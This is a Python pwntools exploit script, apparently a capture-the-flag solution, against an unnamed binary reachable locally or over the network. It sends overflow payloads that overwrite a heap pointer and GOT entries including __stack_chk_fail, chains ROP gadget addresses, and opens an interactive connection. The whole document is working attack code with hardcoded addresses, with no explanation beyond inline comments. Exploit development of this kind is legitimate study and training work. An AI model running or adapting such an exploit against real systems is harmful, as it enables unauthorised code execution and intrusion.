text: #!/usr/bin/env python3
  
  # author: greyshell
  
  from pwn import *
  from pwn_utils import PwnUtils
  
  
  def exploit(conn):
      """
      overwrite `__stack_chk_fail@got` entry
      set up rsp and control rip
      """
      conn.recvuntil("name:\n")  # receive bytes till name:
      input_name = b"A" * 24  # sendline() will add \n at the end
      # we can't overwrite the heap pointer with "C" because program will not find this address
      input_name += p64(0x60101f)  # heap_ptr -> put() GOT last byte => 0x000000000060101f
      input_name += p64(0x400903)  # overwrite the 8 byte pad address with 0x0000000000400903 : pop rdi ; ret
      input_name += p64(0x601038)  # overwrite the 8 bytes canary with `malloc@got
      input_name += p64(0x40064c)  # puts@got
      # input_name += p64(0x400620)  # overwrite RBP with puts@plt => 0x400620 bad char
      input_name += p64(0xdeadbeef)  # overwrite RETN with 0xdeadbeef
      conn.sendline(input_name)  # \n will be added in the last and it will be treated as null byte
  
      conn.recvuntil("description:\n")  # receive bytes till description:
      input_des = b"\x00"  # fixing the puts@GOT last byte
      input_des += p64(0x4008fb)  # 0x00000000004008fb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
      conn.sendline(input_des)
      # sendline() will add \n at the end, the \n will overwrite memset() GOT 1st byte
      # as memset is not used in the code later so it will not be any issue
  
      # libc_leak = u64(conn.recvn(6) + '\x00\x00')  # as libc address last two bytes are null
      # print(f"libc leak -> malloc(): {hex(libc_leak)}")
  
      # make the connection interactive
      conn.interactive()
  
  
  def main():
      my_input = PwnUtils()
      arguments = my_input.parser.parse_args()
      connection = ""
  
      # run the script without any argument
      if len(sys.argv) == 1:
          my_input.parser.print_help(sys.stderr)
          sys.exit(1)
  
      # exploiting local binary
      if arguments.command == 'local':
          binary_name = "./"
          binary_name += arguments.binary
          connection = process([binary_name])
          # attach the binary with gdb in tmux session
          if arguments.gdb == 'true':
              gdb.attach(connection)
  
      elif arguments.command == 'network':
          connection = remote(arguments.ip_address, arguments.port)
  
      if arguments.debug_mode == 'true':
          context.log_level = 'debug'
  
      # invoke the exploit function
      exploit(connection)
  
  
  if __name__ == '__main__':
      main()
  